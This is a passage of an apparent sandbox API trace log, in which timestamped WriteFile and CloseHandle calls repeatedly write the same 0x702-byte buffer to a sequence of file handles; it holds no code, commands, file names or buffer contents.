[0155.216] CloseHandle (hObject=0x928) returned 1 [0155.216] WriteFile (in: hFile=0x928, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.217] CloseHandle (hObject=0x928) returned 1 [0155.219] WriteFile (in: hFile=0x928, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.220] CloseHandle (hObject=0x928) returned 1 [0155.220] WriteFile (in: hFile=0x928, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.221] CloseHandle (hObject=0x928) returned 1 [0155.221] WriteFile (in: hFile=0x928, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.222] CloseHandle (hObject=0x928) returned 1 [0155.224] WriteFile (in: hFile=0x92c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.225] CloseHandle (hObject=0x92c) returned 1 [0155.225] WriteFile (in: hFile=0x92c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.226] CloseHandle (hObject=0x92c) returned 1 [0155.227] WriteFile (in: hFile=0x92c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.228] CloseHandle (hObject=0x92c) returned 1 [0155.229] WriteFile (in: hFile=0x92c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.230] CloseHandle (hObject=0x92c) returned 1 [0155.231] WriteFile (in: hFile=0x92c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.232] CloseHandle (hObject=0x92c) returned 1 [0155.234] WriteFile (in: hFile=0x92c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.234] CloseHandle (hObject=0x92c) returned 1 [0155.235] WriteFile (in: hFile=0x92c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.236] CloseHandle (hObject=0x92c) returned 1 [0155.236] WriteFile (in: hFile=0x92c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.237] CloseHandle (hObject=0x92c) returned 1 [0155.239] WriteFile (in: hFile=0x930, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.240] CloseHandle (hObject=0x930) returned 1 [0155.242] WriteFile (in: hFile=0x930, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.243] CloseHandle (hObject=0x930) returned 1 [0155.244] WriteFile (in: hFile=0x930, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.245] CloseHandle (hObject=0x930) returned 1 [0155.246] WriteFile (in: hFile=0x930, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.247] CloseHandle (hObject=0x930) returned 1 [0155.248] WriteFile (in: hFile=0x930, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.249] CloseHandle (hObject=0x930) returned 1 [0155.250] WriteFile (in: hFile=0x930, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.252] CloseHandle (hObject=0x930) returned 1 [0155.252] WriteFile (in: hFile=0x930, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.253] CloseHandle (hObject=0x930) returned 1 [0155.254] WriteFile (in: hFile=0x930, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.254] CloseHandle (hObject=0x930) returned 1 [0155.256] WriteFile (in: hFile=0x934, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.257] CloseHandle (hObject=0x934) returned 1 [0155.258] WriteFile (in: hFile=0x934, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.259] CloseHandle (hObject=0x934) returned 1 [0155.259] WriteFile (in: hFile=0x934, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.260] CloseHandle (hObject=0x934) returned 1 [0155.261] WriteFile (in: hFile=0x934, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.262] CloseHandle (hObject=0x934) returned 1 [0155.263] WriteFile (in: hFile=0x934, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.264] CloseHandle (hObject=0x934) returned 1 [0155.264] WriteFile (in: hFile=0x934, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.265] CloseHandle (hObject=0x934) returned 1 [0155.265] WriteFile (in: hFile=0x934, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.266] CloseHandle (hObject=0x934) returned 1 [0155.267] WriteFile (in: hFile=0x934, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.267] CloseHandle (hObject=0x934) returned 1 [0155.269] WriteFile (in: hFile=0x938, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.270] CloseHandle (hObject=0x938) returned 1 [0155.271] WriteFile (in: hFile=0x938, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.271] CloseHandle (hObject=0x938) returned 1 [0155.272] WriteFile (in: hFile=0x938, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.273] CloseHandle (hObject=0x938) returned 1 [0155.274] WriteFile (in: hFile=0x938, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.276] CloseHandle (hObject=0x938) returned 1 [0155.276] WriteFile (in: hFile=0x938, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.277] CloseHandle (hObject=0x938) returned 1 [0155.279] WriteFile (in: hFile=0x938, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.279] CloseHandle (hObject=0x938) returned 1 [0155.282] WriteFile (in: hFile=0x938, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.283] CloseHandle (hObject=0x938) returned 1 [0155.284] WriteFile (in: hFile=0x938, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.285] CloseHandle (hObject=0x938) returned 1 [0155.287] WriteFile (in: hFile=0x93c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.288] CloseHandle (hObject=0x93c) returned 1 [0155.288] WriteFile (in: hFile=0x93c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.289] CloseHandle (hObject=0x93c) returned 1 [0155.289] WriteFile (in: hFile=0x93c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.290] CloseHandle (hObject=0x93c) returned 1 [0155.291] WriteFile (in: hFile=0x93c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.292] CloseHandle (hObject=0x93c) returned 1 [0155.293] WriteFile (in: hFile=0x93c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.294] CloseHandle (hObject=0x93c) returned 1 [0155.295] WriteFile (in: hFile=0x93c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.296] CloseHandle (hObject=0x93c) returned 1 [0155.297] WriteFile (in: hFile=0x93c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.297] CloseHandle (hObject=0x93c) returned 1 [0155.298] WriteFile (in: hFile=0x93c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.299] CloseHandle (hObject=0x93c) returned 1 [0155.301] WriteFile (in: hFile=0x940, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.301] CloseHandle (hObject=0x940) returned 1 [0155.302] WriteFile (in: hFile=0x940, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.303] CloseHandle (hObject=0x940) returned 1 [0155.303] WriteFile (in: hFile=0x940, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.304] CloseHandle (hObject=0x940) returned 1 [0155.308] WriteFile (in: hFile=0x940, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.309] CloseHandle (hObject=0x940) returned 1 [0155.310] WriteFile (in: hFile=0x940, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.310] CloseHandle (hObject=0x940) returned 1 [0155.312] WriteFile (in: hFile=0x940, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.313] CloseHandle (hObject=0x940) returned 1 [0155.314] WriteFile (in: hFile=0x940, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.314] CloseHandle (hObject=0x940) returned 1 [0155.316] WriteFile (in: hFile=0x940, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.317] CloseHandle (hObject=0x940) returned 1 [0155.318] WriteFile (in: hFile=0x944, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.319] CloseHandle (hObject=0x944) returned 1 [0155.319] WriteFile (in: hFile=0x944, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.320] CloseHandle (hObject=0x944) returned 1 [0155.322] WriteFile (in: hFile=0x944, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.323] CloseHandle (hObject=0x944) returned 1 [0155.323] WriteFile (in: hFile=0x944, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.325] CloseHandle (hObject=0x944) returned 1 [0155.326] WriteFile (in: hFile=0x944, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.327] CloseHandle (hObject=0x944) returned 1 [0155.328] WriteFile (in: hFile=0x944, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.329] CloseHandle (hObject=0x944) returned 1 [0155.330] WriteFile (in: hFile=0x944, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.331] CloseHandle (hObject=0x944) returned 1 [0155.331] WriteFile (in: hFile=0x944, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.332] CloseHandle (hObject=0x944) returned 1 [0155.334] WriteFile (in: hFile=0x948, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.335] CloseHandle (hObject=0x948) returned 1 [0155.336] WriteFile (in: hFile=0x948, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.337] CloseHandle (hObject=0x948) returned 1 [0155.337] WriteFile (in: hFile=0x948, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.338] CloseHandle (hObject=0x948) returned 1 [0155.339] WriteFile (in: hFile=0x948, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.340] CloseHandle (hObject=0x948) returned 1 [0155.340] WriteFile (in: hFile=0x948, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.341] CloseHandle (hObject=0x948) returned 1 [0155.343] WriteFile (in: hFile=0x948, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.343] CloseHandle (hObject=0x948) returned 1 [0155.344] WriteFile (in: hFile=0x948, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.345] CloseHandle (hObject=0x948) returned 1 [0155.346] WriteFile (in: hFile=0x948, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.346] CloseHandle (hObject=0x948) returned 1 [0155.358] WriteFile (in: hFile=0x94c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.359] CloseHandle (hObject=0x94c) returned 1 [0155.359] WriteFile (in: hFile=0x94c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.360] CloseHandle (hObject=0x94c) returned 1 [0155.361] WriteFile (in: hFile=0x94c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.363] CloseHandle (hObject=0x94c) returned 1 [0155.363] WriteFile (in: hFile=0x94c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.364] CloseHandle (hObject=0x94c) returned 1 [0155.365] WriteFile (in: hFile=0x94c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.366] CloseHandle (hObject=0x94c) returned 1 [0155.368] WriteFile (in: hFile=0x94c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.372] CloseHandle (hObject=0x94c) returned 1 [0155.373] WriteFile (in: hFile=0x94c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.374] CloseHandle (hObject=0x94c) returned 1 [0155.375] WriteFile (in: hFile=0x94c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.376] CloseHandle (hObject=0x94c) returned 1 [0155.416] WriteFile (in: hFile=0x950, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.418] CloseHandle (hObject=0x950) returned 1 [0155.418] WriteFile (in: hFile=0x950, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.420] CloseHandle (hObject=0x950) returned 1 [0155.420] WriteFile (in: hFile=0x950, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.421] CloseHandle (hObject=0x950) returned 1 [0155.422] WriteFile (in: hFile=0x950, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.423] CloseHandle (hObject=0x950) returned 1 [0155.423] WriteFile (in: hFile=0x950, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.425] CloseHandle (hObject=0x950) returned 1 [0155.425] WriteFile (in: hFile=0x950, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.426] CloseHandle (hObject=0x950) returned 1 [0155.427] WriteFile (in: hFile=0x950, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.428] CloseHandle (hObject=0x950) returned 1 [0155.429] WriteFile (in: hFile=0x950, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.430] CloseHandle (hObject=0x950) returned 1 [0155.432] WriteFile (in: hFile=0x954, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, 